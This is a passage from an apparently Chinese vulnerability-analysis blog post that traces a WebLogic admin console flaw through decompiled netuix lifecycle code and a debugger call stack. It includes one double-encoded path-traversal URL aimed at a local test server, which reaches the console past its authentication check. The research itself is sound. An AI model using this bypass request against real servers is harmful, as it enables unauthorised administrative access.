&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;outboundNewTreeLifecycle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VisitorType&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;VisitorType&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;initVisitorType&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VisitorType&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;loadVisitorType&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VisitorType&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;preRenderVisitorType&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VisitorType&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;saveStateVisitorType&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VisitorType&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;renderVisitorType&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;outboundResourceLifecycle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VisitorType&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;VisitorType&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;preRenderVisitorType&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VisitorType&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;resourceVisitorType&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VisitorType&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;saveStateVisitorType&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;outboundNewTreeResourceLifecycle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VisitorType&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;VisitorType&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;initVisitorType&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VisitorType&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;loadVisitorType&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VisitorType&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;preRenderVisitorType&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VisitorType&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;resourceVisitorType&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VisitorType&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;saveStateVisitorType&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cleanupLifecycle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VisitorType&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;VisitorType&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;disposeVisitorType&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;resourceLifecycle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Lifecycle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;inboundLifecycle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;outboundResourceLifecycle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;outboundNewTreeResourceLifecycle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cleanupLifecycle&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;baseLifecycle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Lifecycle&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;各数组成员的详细定义：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;libs\netuix_servlet.jar!\com\bea\netuix\nf\Lifecycle.class&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;initVisitorType&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VisitorType&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;UIControl.init&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ControlLifecycle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;initVisitor&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LifecycleStage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;INIT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;loadStateVisitorType&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VisitorType&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;UIControl.loadState&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ControlLifecycle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;loadStateVisitor&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LifecycleStage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;LOAD_STATE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;loadVisitorType&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VisitorType&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;UIControl.load&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ControlLifecycle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;loadVisitor&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LifecycleStage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;LOAD&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;raiseEventsVisitorType&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VisitorType&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;UIControl.raiseChangeEvents&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ControlLifecycle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;raiseEventsVisitor&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LifecycleStage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;RAISE_EVENTS&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;preRenderVisitorType&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VisitorType&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;UIControl.preRender&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ControlLifecycle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;preRenderVisitor&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LifecycleStage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;PRE_RENDER&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;saveStateVisitorType&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VisitorType&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;UIControl.saveState&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ControlLifecycle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;saveStateVisitor&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LifecycleStage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;SAVE_STATE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;renderVisitorType&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VisitorType&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;UIControl.render&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ControlLifecycle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;renderVisitor&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LifecycleStage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;RENDER&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;resourceVisitorType&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VisitorType&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;UIControl.resource&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ControlLifecycle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;resourceVisitor&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LifecycleStage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;RESOURCE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;disposeVisitorType&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VisitorType&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;UIControl.dispose&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ControlLifecycle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;disposeVisitor&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LifecycleStage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;DISPOSE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;最终由于&lt;code&gt;VistorType&lt;/code&gt;数组的不同导致生命周期的执行流程有所不同&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606968561812" src="https://s2.loli.net/2024/06/14/mCX4tepgR6KoJaq.png"&gt;&lt;/p&gt;
&lt;p&gt;这两个分支具体对漏洞的触发有无影响我们先放在这里，我们继续往下分析，如果有影响我们再回来看，我们暂时使用&lt;code&gt;http://127.0.0.1:7001/console/css/%252e%252e%252fconsolejndi.portal&lt;/code&gt;触发断点，我们继续跟踪，调用栈如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;wlserver&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;consoleapp&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;webapp&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;WEB&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;INF&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;netuix_servlet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;jar&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;bea&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;netuix&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;servlets&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;manager&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;UIServlet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="n"&gt;doPost&lt;/span&gt;
&lt;span class="n"&gt;wlserver&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;consoleapp&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;webapp&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;WEB&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;INF&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;netuix_servlet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;jar&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;bea&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;netuix&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;servlets&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;manager&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;UIServlet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="n"&gt;runLifecycle&lt;/span&gt;
&lt;span class="n"&gt;wlserver&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;consoleapp&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;webapp&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;WEB&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;INF&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;netuix_servlet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;jar&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;bea&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;netuix&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;nf&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;Lifecycle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="n"&gt;run&lt;/span&gt;
&lt;span class="n"&gt;wlserver&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;consoleapp&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;webapp&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;WEB&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;INF&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;netuix_servlet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;jar&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;bea&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;netuix&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;nf&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;Lifecycle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="n"&gt;runOutbound&lt;/span&gt;
&lt;span class="n"&gt;wlserver&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;consoleapp&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;webapp&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;WEB&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;INF&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;netuix_servlet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;jar&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;bea&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;netuix&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;nf&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;Lifecycle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="n"&gt;processLifecycles&lt;/span&gt;
&lt;span class="n"&gt;wlserver&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;consoleapp&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;webapp&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;WEB&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;INF&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;netuix_servlet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;jar&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;bea&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;netuix&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;nf&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;Lifecycle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="n"&gt;processLifecycles&lt;/span&gt;&lt;span class="err"&gt;（&lt;/span&gt;&lt;span class="n"&gt;重载&lt;/span&gt;&lt;span class="err"&gt;）&lt;/span&gt;
